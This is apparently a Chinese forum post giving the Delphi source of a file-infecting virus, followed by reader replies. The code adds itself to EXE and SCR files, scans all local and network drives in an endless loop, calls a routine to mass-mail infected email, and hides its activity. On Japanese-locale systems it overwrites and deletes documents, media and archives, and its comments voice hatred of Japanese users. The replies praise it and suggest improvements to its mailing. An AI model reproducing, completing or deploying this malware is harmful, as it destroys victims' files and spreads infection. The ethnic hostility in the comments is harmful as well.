&nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; SrcStream.Seek(i, soFromBeginning);<br>&nbsp; &nbsp; &nbsp; &nbsp; SrcStream.Read(Buf, 2);<br>&nbsp; &nbsp; &nbsp; &nbsp; if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记<br>&nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IsPE := True; //是PE文件<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Break;<br>&nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; SrcStream.Seek(-4, soFromEnd); //检查感染标记<br>&nbsp; &nbsp; &nbsp; SrcStream.Read(iID, 4);<br>&nbsp; &nbsp; &nbsp; if (iID = ID) or (SrcStream.Size &lt; 10240) then //太小的文件不感染<br>&nbsp; &nbsp; &nbsp; &nbsp; Infected := True;<br>&nbsp; &nbsp; finally<br>&nbsp; &nbsp; &nbsp; SrcStream.Free;<br>&nbsp; &nbsp; end;<br>&nbsp; &nbsp; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出<br>&nbsp; &nbsp; &nbsp; Exit;<br>&nbsp; &nbsp; IcoStream := TMemoryStream.Create;<br>&nbsp; &nbsp; DstStream := TMemoryStream.Create;<br>&nbsp; &nbsp; try<br>&nbsp; &nbsp; &nbsp; aIcon := TIcon.Create;<br>&nbsp; &nbsp; &nbsp; try<br>&nbsp; &nbsp; &nbsp; &nbsp; //得到被感染文件的主图标(744字节)，存入流<br>&nbsp; &nbsp; &nbsp; &nbsp; aIcon.ReleaseHandle;<br>&nbsp; &nbsp; &nbsp; &nbsp; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);<br>&nbsp; &nbsp; &nbsp; &nbsp; aIcon.SaveToStream(IcoStream);<br>&nbsp; &nbsp; &nbsp; finally<br>&nbsp; &nbsp; &nbsp; &nbsp; aIcon.Free;<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; SrcStream := TFileStream.Create(FileName, fmOpenRead);<br>&nbsp; &nbsp; &nbsp; //头文件<br>&nbsp; &nbsp; &nbsp; HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);<br>&nbsp; &nbsp; &nbsp; try<br>&nbsp; &nbsp; &nbsp; &nbsp; //写入病毒体主图标之前的数据<br>&nbsp; &nbsp; &nbsp; &nbsp; CopyStream(HdrStream, 0, DstStream, 0, IconOffset);<br>&nbsp; &nbsp; &nbsp; &nbsp; //写入目前程序的主图标<br>&nbsp; &nbsp; &nbsp; &nbsp; CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);<br>&nbsp; &nbsp; &nbsp; &nbsp; //写入病毒体主图标到病毒体尾部之间的数据<br>&nbsp; &nbsp; &nbsp; &nbsp; CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);<br>&nbsp; &nbsp; &nbsp; &nbsp; //写入宿主程序<br>&nbsp; &nbsp; &nbsp; &nbsp; CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);<br>&nbsp; &nbsp; &nbsp; &nbsp; //写入已感染的标记<br>&nbsp; &nbsp; &nbsp; &nbsp; DstStream.Seek(0, 2);<br>&nbsp; &nbsp; &nbsp; &nbsp; iID := $44444444;<br>&nbsp; &nbsp; &nbsp; &nbsp; DstStream.Write(iID, 4);<br>&nbsp; &nbsp; &nbsp; finally<br>&nbsp; &nbsp; &nbsp; &nbsp; HdrStream.Free;<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; finally<br>&nbsp; &nbsp; &nbsp; SrcStream.Free;<br>&nbsp; &nbsp; &nbsp; IcoStream.Free;<br>&nbsp; &nbsp; &nbsp; DstStream.SaveToFile(FileName); //替换宿主文件<br>&nbsp; &nbsp; &nbsp; DstStream.Free;<br>&nbsp; &nbsp; end;<br>&nbsp; except;<br>&nbsp; end;<br>end;<br><br>{ 将目标文件写入垃圾码后删除 }<br><br>procedure SmashFile(FileName: string);<br>var<br>&nbsp; FileHandle: Integer;<br>&nbsp; i, Size, Mass, Max, Len: Integer;<br>begin<br>&nbsp; try<br>&nbsp; &nbsp; SetFileAttributes(PChar(FileName), 0); //去掉只读属性<br>&nbsp; &nbsp; FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件<br>&nbsp; &nbsp; try<br>&nbsp; &nbsp; &nbsp; Size := GetFileSize(FileHandle, nil); //文件大小<br>&nbsp; &nbsp; &nbsp; i := 0;<br>&nbsp; &nbsp; &nbsp; Randomize;<br>&nbsp; &nbsp; &nbsp; Max := Random(15); //写入垃圾码的随机次数<br>&nbsp; &nbsp; &nbsp; if Max &lt; 5 then<br>&nbsp; &nbsp; &nbsp; &nbsp; Max := 5;<br>&nbsp; &nbsp; &nbsp; Mass := Size div Max; //每个间隔块的大小<br>&nbsp; &nbsp; &nbsp; Len := Length(Catchword);<br>&nbsp; &nbsp; &nbsp; while i &lt; Max do<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; FileSeek(FileHandle, i * Mass, 0); //定位<br>&nbsp; &nbsp; &nbsp; &nbsp; //写入垃圾码，将文件彻底破坏掉<br>&nbsp; &nbsp; &nbsp; &nbsp; FileWrite(FileHandle, Catchword, Len);<br>&nbsp; &nbsp; &nbsp; &nbsp; Inc(i);<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; finally<br>&nbsp; &nbsp; &nbsp; FileClose(FileHandle); //关闭文件<br>&nbsp; &nbsp; end;<br>&nbsp; &nbsp; DeleteFile(PChar(FileName)); //删除之<br>&nbsp; except<br>&nbsp; end;<br>end;<br><br>{ 获得可写的驱动器列表 }<br><br>function GetDrives: string;<br>var<br>&nbsp; DiskType: Word;<br>&nbsp; D: Char;<br>&nbsp; Str: string;<br>&nbsp; i: Integer;<br>begin<br>&nbsp; for i := 0 to 25 do //遍历26个字母<br>&nbsp; begin<br>&nbsp; &nbsp; D := Chr(i + 65);<br>&nbsp; &nbsp; Str := D + ':/';<br>&nbsp; &nbsp; DiskType := GetDriveType(PChar(Str));<br>&nbsp; &nbsp; //得到本地磁盘和网络盘<br>&nbsp; &nbsp; if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then<br>&nbsp; &nbsp; &nbsp; Result := Result + D;<br>&nbsp; end;<br>end;<br><br>{ 遍历目录，感染和摧毁文件 }<br><br>procedure LoopFiles(Path, Mask: string);<br>var<br>&nbsp; i, Count: Integer;<br>&nbsp; Fn, Ext: string;<br>&nbsp; SubDir: TStrings;<br>&nbsp; SearchRec: TSearchRec;<br>&nbsp; Msg: TMsg;<br>&nbsp; function IsValidDir(SearchRec: TSearchRec): Integer;<br>&nbsp; begin<br>&nbsp; &nbsp; if (SearchRec.Attr &lt;&gt; 16) and &nbsp;(SearchRec.Name &lt;&gt; '.') and<br>&nbsp; &nbsp; &nbsp; (SearchRec.Name &lt;&gt; '..') then<br>&nbsp; &nbsp; &nbsp; Result := 0 //不是目录<br>&nbsp; &nbsp; else if (SearchRec.Attr = 16) and &nbsp;(SearchRec.Name &lt;&gt; '.') and<br>&nbsp; &nbsp; &nbsp; (SearchRec.Name &lt;&gt; '..') then<br>&nbsp; &nbsp; &nbsp; &nbsp; Result := 1 //不是根目录<br>&nbsp; &nbsp; else Result := 2; //是根目录<br>&nbsp; end;<br>begin<br>&nbsp; if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then<br>&nbsp; begin<br>&nbsp; &nbsp; repeat<br>&nbsp; &nbsp; &nbsp; PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑<br>&nbsp; &nbsp; &nbsp; if IsValidDir(SearchRec) = 0 then<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; Fn := Path + SearchRec.Name;<br>&nbsp; &nbsp; &nbsp; &nbsp; Ext := UpperCase(ExtractFileExt(Fn));<br>&nbsp; &nbsp; &nbsp; &nbsp; if (Ext = '.EXE') or (Ext = '.SCR') then<br>&nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InfectOneFile(Fn); //感染可执行文件 &nbsp; &nbsp; &nbsp; &nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; end<br>&nbsp; &nbsp; &nbsp; &nbsp; else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then<br>&nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //感染HTML和ASP文件，将Base64编码后的病毒写入<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //感染浏览此网页的所有用户<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //哪位大兄弟愿意完成之？<br>&nbsp; &nbsp; &nbsp; &nbsp; end<br>&nbsp; &nbsp; &nbsp; &nbsp; else if Ext = '.WAB' then //Outlook地址簿文件<br>&nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //获取Outlook邮件地址<br>&nbsp; &nbsp; &nbsp; &nbsp; end<br>&nbsp; &nbsp; &nbsp; &nbsp; else if Ext = '.ADC' then //Foxmail地址自动完成文件<br>&nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //获取Foxmail邮件地址<br>&nbsp; &nbsp; &nbsp; &nbsp; end<br>&nbsp; &nbsp; &nbsp; &nbsp; else if Ext = 'IND' then //Foxmail地址簿文件<br>&nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //获取Foxmail邮件地址<br>&nbsp; &nbsp; &nbsp; &nbsp; end<br>&nbsp; &nbsp; &nbsp; &nbsp; else <br>&nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if IsJap then //是倭文操作系统<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SmashFile(Fn); //摧毁文件<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑<br>&nbsp; &nbsp; &nbsp; Sleep(200);<br>&nbsp; &nbsp; until (FindNext(SearchRec) &lt;&gt; 0);<br>&nbsp; end;<br>&nbsp; FindClose(SearchRec);<br>&nbsp; SubDir := TStringList.Create;<br>&nbsp; if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then<br>&nbsp; begin<br>&nbsp; &nbsp; repeat<br>&nbsp; &nbsp; &nbsp; if IsValidDir(SearchRec) = 1 then<br>&nbsp; &nbsp; &nbsp; &nbsp; SubDir.Add(SearchRec.Name);<br>&nbsp; &nbsp; until (FindNext(SearchRec) &lt;&gt; 0);<br>&nbsp; &nbsp; end;<br>&nbsp; FindClose(SearchRec);<br>&nbsp; Count := SubDir.Count - 1;<br>&nbsp; for i := 0 to Count do<br>&nbsp; &nbsp; LoopFiles(Path + SubDir.Strings + '/', Mask);<br>&nbsp; FreeAndNil(SubDir);<br>end;<br><br>{ 遍历磁盘上所有的文件 }<br><br>procedure InfectFiles;<br>var<br>&nbsp; DriverList: string;<br>&nbsp; i, Len: Integer;<br>begin<br>&nbsp; if GetACP = 932 then //日文操作系统<br>&nbsp; &nbsp; IsJap := True; //去死吧！<br>&nbsp; DriverList := GetDrives; //得到可写的磁盘列表<br>&nbsp; Len := Length(DriverList);<br>&nbsp; while True do //死循环<br>&nbsp; begin<br>&nbsp; &nbsp; for i := Len downto 1 do //遍历每个磁盘驱动器<br>&nbsp; &nbsp; &nbsp; LoopFiles(DriverList + ':/', '*.*'); //感染之<br>&nbsp; &nbsp; SendMail; //发带毒邮件<br>&nbsp; &nbsp; Sleep(1000 * 60 * 5); //睡眠5分钟<br>&nbsp; end;<br>end;<br><br>{ 主程序开始 }<br><br>begin<br>&nbsp; if IsWin9x then //是Win9x<br>&nbsp; &nbsp; RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程<br>&nbsp; else //WinNT<br>&nbsp; begin<br>&nbsp; &nbsp; //远程线程映射到Explorer进程<br>&nbsp; &nbsp; //哪位兄台愿意完成之？<br>&nbsp; end;<br>&nbsp; //如果是原始病毒体自己<br>&nbsp; if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then<br>&nbsp; &nbsp; InfectFiles //感染和发邮件<br>&nbsp; else //已寄生于宿主程序上了，开始工作<br>&nbsp; begin<br>&nbsp; &nbsp; TmpFile := ParamStr(0); //创建临时文件<br>&nbsp; &nbsp; Delete(TmpFile, Length(TmpFile) - 4, 4);<br>&nbsp; &nbsp; TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格<br>&nbsp; &nbsp; ExtractFile(TmpFile); //分离之<br>&nbsp; &nbsp; FillStartupInfo(Si, SW_SHOWDEFAULT);<br>&nbsp; &nbsp; CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,<br>&nbsp; &nbsp; &nbsp; 0, nil, '.', Si, Pi); //创建新进程运行之<br>&nbsp; &nbsp; InfectFiles; //感染和发邮件<br>&nbsp; end;<br>end.<br>

2. 自己开SMTP服务器发带毒邮件或者用ESMTP发带毒邮件 &nbsp;<br>&nbsp; 借鉴‘特快专递’的方法是否能解决？

好强！！

水平可敬,爱国心更可敬,谢谢

pe文件的标记可以修改,不用循环